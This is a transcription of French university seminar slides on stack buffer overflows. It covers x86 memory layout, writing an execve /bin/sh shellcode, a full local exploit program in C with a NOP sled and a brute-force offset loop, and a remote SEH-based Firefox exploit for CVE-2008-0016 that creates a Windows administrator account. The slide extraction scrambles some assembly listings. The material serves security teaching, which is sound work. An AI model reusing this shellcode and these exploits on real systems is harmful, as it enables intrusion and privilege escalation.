Slides de la présentation intermédiaire

Transcription

Slides de la présentation intermédiaire
Buffer overflow
Séminaire de détection d’intrusions
Georges Discry
Julien Ghaye
Quentin Jacquemart
Benjamin Laugraud
Prérequis


Structure des ordinateurs
Assembleur

x86 – GNU/Linux
ELF : Executable and Linkable
Format


Format d’exécutables
Découpé en plusieurs parties :
ELF : Executable and Linkable
Format

Dualité
Mémoire virtuelle




Espace noyau :
0x00000000 – 0xBFFFFFFF
Espace utilisateur :
0xC0000000 – 0xFFFFFFFF
Format ELF : adresse de base
0x08048000
Adresses indépendantes de la machine
(mais dépendantes de l’architecture et de l’OS)
Espace utilisateur
.stack <-> pile
.bss <-> données globales non-init
.data <-> données globales init
.text <-> code
ASM x86 (32 bits)

Pile construite de bas en haut



Allocation variable locale = soustraction
d’adresse
Données dans la pile écrites de haut en
bas
3 registres importants



%eip : instruction pointer
%ebp : base pointer
%esp : stack pointer
ASM x86

Cadre d’une fonction
ASM x86 :
appel d’une fonction


Soit la fonction appelée foo(5, 6);
En assembleur :
push
push
call
add
$0x6
;
$0x5
;
0xadresse <foo> ;
$0x8,%esp
;
Ajout du dernier argument
Ajout du premier argument
Adresse hex fonction à appeler
Retrait des variables de la pile
ASM x86 :
prologue d’une fonction

Soit la fonction
int foo(int a, int b) {
int c = a;
int d = b;
return c;
}

Prologue
push
mov
sub
push
%ebp
%esp,%ebp
$0x18,%esp
%eax
;
;
;
;
Sauvegarde %ebp appelant
Init %ebp de foo
GCC réserve 24 bytes min
Sauvegarde registre de retour
ASM x86 :
épilogue d’une fonction

Soit (la même) fonction
int foo(int a, int b) {
int c = a;
int d = b;
return c;
}

Epilogue
pop
leave
ret
%eax ; Restauration du registre %eax
; Désalloc var locales et restauration %ebp
; Retour proc appelante
Buffer overflow : principes


But : faire exécuter du code malveillant
par un programme légitime
Exemple :
int main(int argc, char** argv) {
if (argc > 1) foo(argv[1]);
return 0;
}
void foo(char* string) {
char buffer[256];
strcpy(buffer, string);
}
Buffer overflow : principes

Assembleur pour le prologue de foo :
push
mov
sub


%ebp
%esp,%ebp
$0x108,%esp ; GCC alloue 264 bytes pour le buffer
Ecriture de données dans
buffer sur 272 bytes pour
écraser %eip
ret permet l’exéctution
du code malveillant
Buffer overflow : principes


strcpy(dest, src) ne vérifie pas que
l’espace alloué à dest est épuisé
Problèmes similaires pour





gets()
strcat()
sprintf(), vsprintf()
scanf(), fscanf(), sscanf(),
vscanf(), vsscanf(), vfscanf()
…
Buffer overflow : exploitation

2 types


DoS
Code intrusif/destructif
Buffer overflow : DoS
Example

Dans l’exemple précédent :


Au lieu de remplacer %eip par l’adresse
d’un code malveillant, mettre l’adresse de
call <foo> dans la fonction main crée
une boucle infinie
Comportement du programme :
1. main fait un branchement vers foo
2. Le remplissage écrase la sauvegarde de %eip
3. Retour à l’étape 1
Buffer overflow : DoS

Dans une exploitation « remote », une
simple erreur de segmentation mène à
un DoS
Buffer overflow :
intrusion système


Exécuter un code qui, en général,
donne accès à un shell
Vocabulaire :



Shellcode : code qui donne accès à un shell
Exploit : programme qui injecte un payload
dans un programme vulnérable
Payload : données contenant ce qui est
nécessaire pour exploiter la faille, y
compris le shellcode et l’adresse de retour
Shellcode

Forme d’un shellcode
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";



i.e. une suite d’instructions écrites en bytes
Lance tout programme sans argument
Comment obtenir ce résultat ?
Shellcode : écriture

Soit le programme (qui lance /bin/sh)
void main() {
char* name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
return 0;
}
Shellcode : écriture

Assembleur pour main
0x08048224
0x08048225
0x08048227
0x0804822a
0x0804822d
0x08048232
0x08048235
0x08048238
0x0804823b
0x0804823e
0x08048240
<main+0>: push
%ebp
<main+1>: mov
%esp,%ebp
<main+3>: sub
$0x8,%esp
<main+6>: and
$0xfffffff0,%esp
<main+9>: mov
$0x0,%eax
<main+14>: add
$0xf,%eax
<main+17>: add
$0xf,%eax
<main+20>: shr
$0x4,%eax
<main+23>: shl
$0x4,%eax
<main+26>: sub
%eax,%esp
<main+28>: movl
$0x809efe8,0xfffffff8(%ebp)
0x08048247 <main+35>: movl
$0x0,0xfffffffc(%ebp)
Shellcode : écriture
main + 28
L’adresse de la chaîne /bin/sh est placée dans name[0]
main + 35
L’adresse NULL est placée dans name[1]
Shellcode : écriture

Assembleur pour main (suite)
0x0804824e <main+42>: sub
$0x4,%esp
0x08048251 <main+45>: push
$0x0
0x08048253 <main+47>: lea
0xfffffff8(%ebp),%eax
0x08048256 <main+50>: push
%eax
0x08048257 <main+51>: pushl 0xfffffff8(%ebp)
0x0804825a <main+54>: call
0x804f010 <execve>
0x0804825f <main+59>: add
$0x10,%esp
0x08048262 <main+62>: mov
$0x0,%eax
0x08048267 <main+67>: leave
0x08048268 <main+68>: ret
Shellcode : écriture
main + 45
L’adresse NULL est placée sur la pile comme troisième
argument de execve
main + 47
L’adresse de name est placée dans le registre %eax
main + 50
L’adresse de name est placée sur la pile comme
deuxième argument de execve via %eax
main + 51
L’adresse de la chaîne /bin/sh est placée sur la pile
comme premier argument de execve
main + 54
La fonction execve est appelée
Shellcode : écriture

Assembleur pour execve
0x0804f010
0x0804f011
0x0804f016
0x0804f018
0x0804f019
0x0804f01b
0x0804f01e
<execve+0>:
<execve+1>:
<execve+6>:
<execve+8>:
<execve+9>:
<execve+11>:
<execve+14>:
0x0804f020
0x0804f025
0x0804f028
0x0804f02b
0x0804f030
<execve+16>:
<execve+21>:
<execve+24>:
<execve+27>:
<execve+32>:
push
%ebp
mov
$0x0,%eax
mov
%esp,%ebp
push
%ebx
test
%eax,%eax
mov
0x8(%ebp),%ebx
je
0x804f025 <execve+21>
call
0x0
mov
0xc(%ebp),%ecx
mov
0x10(%ebp),%edx
mov
$0xb,%eax
int
$0x80
Shellcode : écriture
execve + 11
L’adresse de la chaîne /bin/sh est placée dans le
registre %ebx en tant que premier argument
execve + 21
L’adresse de name est placée dans le registre %ecx en
tant que deuxième argument
execve + 24
L’adresse NULL est placée dans le registre %edx en tant
que troisième argument
execve + 27
La valeur 11 (0xB) est placée dans le registre %eax. Il
s’agit de l’adresse de execve dans la table syscall
execve + 32
Une interruption est effectuée pour passer en kernel
mode afin de passer la main à l’OS
Shellcode : écriture

Pour appeler un shell, il faut donc



0xB dans %eax
l’adresse du shell à exécuter dans %ebx
l’adresse d’un tableau de chaînes dans %ecx




1er élément : adresse du shell à exécuter
2e élément : NULL
NULL dans %edx
faire une interruption pour passer en mode
kernel
Shellcode : écriture


Il est possible d’écrire un code
assembleur qui réunit ces conditions
Il reste à le remettre sous la forme
présentée

Utiliser GCC en y introduisant le
programme assembleur
Shellcode : écriture

Programme C/ASM :
int main() {
__asm__(
"jmp
second\n"
"first:\n"
"popl
%esi\n"
"movl
%esi,0x8(%esi)\n"
"xorl
%eax,%eax\n"
"movb
%al,0x7(%esi)\n"
"movl
%eax,0xc(%esi)\n"
"movb
$0xb,%al\n"
"movl
%esi,%ebx\n"
"leal
0x8(%esi),%ecx\n"
"leal
0xc(%esi),%edx\n"
Shellcode : écriture

Programme C/ASM (suite) :
"int
$0x80\n"
"xorl
%ebx,%ebx\n"
"movl
%ebx,%eax\n"
"inc
%eax\n"
"int
$0x80\n"
"second:\n"
"call
first\n"
".string \"/bin/sh\""
);
}
Shellcode : écriture

Partie significative de la sortie de GCC :
0x08048392
0x08048393
0x08048396
0x08048398
0x0804839b
0x0804839e
0x080483a0
0x080483a2
0x080483a5
0x080483a8
0x080483aa
0x080483ac
<main+30>:
<main+31>:
<main+34>:
<main+36>:
<main+39>:
<main+42>:
<main+44>:
<main+46>:
<main+49>:
<main+52>:
<main+54>:
<main+56>:
pop
mov
xor
mov
mov
mov
mov
lea
lea
int
xor
mov
%esi
%esi,0x8(%esi)
%eax,%eax
%al,0x7(%esi)
%eax,0xc(%esi)
$0xb,%al
%esi,%ebx
0x8(%esi),%ecx
0xc(%esi),%edx
$0x80
%ebx,%ebx
%ebx,%eax
Shellcode : écriture

… suite
0x080483ae <main+58>: inc %eax
0x080483af <main+59>: int $0x80
0x080483b1 <second+0>: call 0x8048392 <main+30>

La transformation de ces instructions en
code machine donnent les valeurs des
bytes présentées dans le shellcode
initial
Exploit : écriture

Rappel du programme C :
int main(int argc, char** argv) {
if (argc > 1) foo(argv[1]);
return 0;
}
void foo(char* string) {
char buffer[256];
strcpy(buffer, string);
}
Exploit : écriture

Deux difficultés pour l’écriture d’un
exploit :
1. Génération du payload
2. Connaissance de l’adresse du shellcode
dans la mémoire

Ces problèmes se rejoignent en
pratique
Exploit : écriture
Génération du payload

Taille du payload :
taille buffer sur la pile
24
char \ 0


1 byte
%ebp et %eip

Dans notre cas : 264 + 8 + 1 = 273 B
Exploit : écriture
Génération du payload

Le shellcode va se retrouver dans la pile
du programme vulnérable



Normalement, aucun code ne devrait y être
Il faut donc être extrêmement précis dans
le calcul d’adresses, particulièrement pour
le calcul de l’adresse de retour (afin
d’éviter une erreur de segmentation)
L’utilisation d’instructions nop nous permet
d’être plus souple dans le calcul de
l’adresse de retour
Exploit : écriture
Génération du payload



Forme du payload
Pour rechercher l’adresse de retour,
nous utilisons l’adresse contenue dans
%esp
L’offset à additionner à l’adresse dans
%esp sera passé en argument à
l’exploit
Exploit : écriture

Code de l’exploit :
#define NOP 0x90
int main(int argc, char** argv) {
if (argc < 2) {
fprintf(stderr, "No argument\n");
return 1;
}
char shellcode[] =
"\x33\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
Exploit : écriture

Code de l’exploit (suite) :
char buffer[273];
char* ptr = (char*)&buffer;
int i;
for (i
*ptr
for (i
*ptr
=
=
=
=
0; i<268 - strlen(shellcode); i++, ptr++)
NOP;
0; i < strlen(shellcode); i++, ptr++)
shellcode[i];
int offset = atoi(argv[1]);
long esp = getESP();
long ret = esp + offset;
Exploit : écriture

Code de l’exploit (fin) :
printf("ESP Register : 0x%x\n", esp);
printf("Offset
: %i\n", offset);
printf("Address
: 0x%x\n", ret);
*(long*)ptr = ret;
ptr += 4;
*(char*)ptr = '\0';
execl("/home/sdi/overflow/prog1", "prog1",
buffer, NULL);
}
long getESP(void) {
__asm__("mov
%esp,%eax");
}
Exploit : écriture

Comment estimer l’offset ?

Une simple méthode est d’utiliser une
commande bash qui essaye chaque valeur
jusqu’à ce qu’une fonctionne (brute-force):
A=-1; while [ 1 ]; do A=$((A+1));
./a.out $A; done


Après quelques itérations, un terminal
s’exécute bien sur la machine
Si le bit suid de l’utilisateur est activé,
on a un terminal root
Exploits

Les exploits à distance contiennent un
shellcode qui ouvre un port TCP sur
lequel un terminal est exécuté
Faille et exploit utilisé

CVE-2008-0016


Affecte Mozilla Firefox et Thunderbird
2.0.0.16, ansi que SeaMonkey 1.1.12
Lorsque un lien est encodé en UTF-8, le
parseur d’URL copie les caractères
UTF-8 vers des caractères UTF-16 à
l’aide d’une boucle
Faille et exploit utilisé

Si la chaîne UTF-8 se termine par un
caractère multi-byte, le corps de la
boucle dépasse la fin du buffer
Faille et exploit utilisé : extrait
du code source de Firefox

ConvertUTF8toUTF16::write() :
const value_type* p = start;
const value_type* end = start + N;
// …
for ( ; p != end; ) {
char c = *p++;
// …
else if (UTF8traits::is4byte(c)) {
state = 3;
}
// …
while ( state-- ) {
c = *p++;
// bug!
Exploit utilisé


L’exploit que nous utilisons est un
serveur HTTP qui envoi une page
amenant la boucle dans son état faillible
La page est composée de deux parties


Un shellcode qui crée un utilisateur
administrateur r00t/r00tr00t!! sur une
machine MS-Windows XP SP3
Un lien malveillant permettant l’exécution
du shellcode
Exploit utilisé

Le shell code est envoyé dans une
balise <!CDATA[]>
"<!CDATA[" + "\x42\x41\x42\x41\x42\x41\x42\x41"
+ shellcode + "]>\n"

Précédé du préfixé 0x42 0x41 répété
Exploit utilisé

Le lien est généré par ce code :
s = "\xC3\xBA"
u = unicode(s, "utf-8")
utf8chars = u.encode("utf-8")
"<a
+
+
+
+
+

href=\"" + "\x01" + "xx://dmc" + utf8chars + "/"
"&#x9090;" * 1700
# Windows XP SP3 SEH offset
"&#4331;&#37008;"
# unicode - ptr to next seh
"&#x11e7;&#x6037;"
# pop/pop/ret
"&#x9090;" * 10
egghunter + "&#x9090;" * 10 + "\" >s</a>"
Beaucoup de choses se passent !
Exploit utilisé


egghunter est un code qui se charge
de retrouver le préfixe 0x42 0x41 en
mémoire et d’amener %eip à l’adresse
du code malveillant
Il est codé en entités HTML pour éviter
une conversion par le navigateur
Exploit utilisé : structured
exception handling (SEH)


Spécifique à MS-Windows
Contrôleur d’exception du système


Structure comprenant l’adresse du bloque
de code à exécuter si une exception
survient au cours du programme
Si le programme ne sait pas gérer son
exception, l’OS prend le relai via un
gestionnaire d’exception générique (dans
ntdll.dll)
Exploit utilisé : SEH


Chaque bloc catch a son propre cadre
sur la pile
Une structure SEH est une structure de
2 * 4 bytes :


Pointeur vers la prochaine structure SEH
(next_SEH)
Pointeur vers l’adresse du block pour
l’exception courante (SE handler)
Exploit utilisé : SEH
Exploit utilisé : SEH



Si un exploit ne fonctionne pas, le code
injecté a une forte probabilité de lever
une exception
Si on arrive a modifier l’adresse du SE
handler par l’adresse du shellcode, la
fiabilité de l’exploit est améliorée
L’idée est donc de modifier le SE
handler relatif à une certaine exception,
et puis de lancer cette exception
Exploit utilisé : SEH
Références principales

Exploitation avancée de buffer overflows, Olivier Gay, Département d'Informatique de
l'EPFL, EPFL.

Smacking The Stack For Fun And Profit, Aleph One, underground.org.

Le format ELF : point de vue d'un infecteur, L33kma, l33ckma.tuxfamily.org.
Understanding ELF using readelf and objdump, Mulyadi Santosa, linuxforums.org.

Extending Sim286 to the Intel386 Architecture with 32-bit processing and Elf Binary input,




Michael L. Haungs, California Polytechnic State University.
NetBSD ELF File Format Manual man page.
SEH Stack Based Windows Buffer Overflow Tutorial, Lupin from The Grey Corner,
grey-corner.blogspot.com.
A Crash Course on the Depths of Win32 Structured Exception Handling, Matt Pietrek,
Microsoft Systems Journal.


Exploit writing tutorial: SEH Based Exploits, Peter Van Eeckhoutte, corelan.be.
Exploit utilisé écrit par Dominic Chell disponible à l’adresse
http://www.milw0rm.com/exploits/9663

Documents pareils